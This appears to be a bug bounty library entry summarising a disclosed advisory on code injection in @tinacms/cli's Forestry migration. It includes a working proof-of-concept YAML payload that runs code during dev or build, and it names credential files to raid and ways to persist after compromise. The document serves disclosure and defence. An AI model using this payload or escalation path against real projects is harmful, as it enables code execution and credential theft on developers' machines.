# @tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels

Unsanitised Forestry YAML labels containing the __TINA_INTERNAL__ unquote marker inject top-level JS into generated tina/templates.ts, executing on tinacms dev/build.

- Payout: Research
- Severity: high
- Program: @tinacms/cli
- Found by: AnGrY-Althaf
- Disclosed: 2026-06-19
- CVE: CVE-2026-54074
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-4936-9hrh-qqpw
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-4936-9hrh-qqpw
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:rce

**Target:** Forestry-to-Tina migration command generating tina/templates.{ts,js}
**Root cause:** addVariablesToCode regex-unquotes any string matching "__TINA_INTERNAL__:::(.*?):::" inside JSON.stringify'd collection data, and user-controlled label/name fields reach that JSON unsanitised; JSON.stringify doesn't escape single quotes/backticks so payloads survive.
**Steps:**
1. Attacker ships a Forestry project with `.forestry/front_matter/templates/rce.yml` whose field `label` is `"__TINA_INTERNAL__:::1}] }; (function(){ ... })(); function _ignore_(){ return [{x:1:::"` (single quotes/backticks only inside payload)
2. Victim clones repo and runs `npx tinacms init`, accepting the migrate-Forestry prompt
3. transformForestryFieldsToTinaFields copies label into TinaField; JSON.stringify then addVariablesToCode unquotes the marker payload
4. Generated `tina/templates.ts` contains a top-level IIFE after the fields function
5. Victim runs `npx tinacms dev` or `tinacms build`; config import evaluates templates.ts and the IIFE executes
**How found:** Source review of the forestry-migrate code path: noticed the regex-based unquoter in codeTransformer.ts and traced that user-controlled label/name flow into the JSON.stringify'd field array without sanitisation; discovered JSON.stringify leaves single quotes/backticks intact, allowing the marker payload to break out.
**Exploitation:** Payload closes the fields array/function, drops a module-scope IIFE that writes a proof file to os.tmpdir() and logs, then opens a dummy function to swallow trailing JSON. Executes with developer privileges on dev/build, enabling env/credential exfiltration, source backdooring, and supply-chain abuse via npm/git credentials.
**Escalation:** Post-RCE pivot to ~/.aws/credentials, ~/.npmrc, ~/.config/gh, SSH keys, and persistence via shell rc files or scheduled tasks.
**Insight:** When a codegen step unquotes sentinel-marked substrings out of JSON.stringify output, check whether user data can reach that JSON: JSON.stringify only escapes double quotes, so single-quote/backtick payloads survive and can close surrounding syntax. Also note Prettier formatting can mask payloads using double quotes — use single quotes/backticks.

## Proof of concept (copied exactly from the original report)

**Malicious Forestry template YAML with RCE payload in label**

```
label: rce_template
fields:
- name: title
  type: text
  label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"
```

**Victim commands running migration and dev server**

```
git clone <attacker repo>
cd <attacker repo>
npx tinacms init       # accepts the "migrate Forestry templates?" prompt
npx tinacms dev        # OR: npx tinacms build
```

**Generated templates.ts showing top-level IIFE execution**

```
import type { TinaField } from "tinacms";
export function rce_templateFields() {
  return [{ type: "string", name: "title", label: 1 }];
}
(function () {                                          // <-- TOP-LEVEL IIFE
  const fs = require("fs");
  const os = require("os");
  fs.writeFileSync(
    require("path").join(os.tmpdir(), "PWNED_PROOF.txt"),
    "RCE triggered on " + os.hostname() + " at " + new Date().toISOString()
  );
  console.log("=== RCE SUCCESSFUL ===");
})();
function _ignore_() {
  return [{ x: 1 }] as TinaField[];
}
```

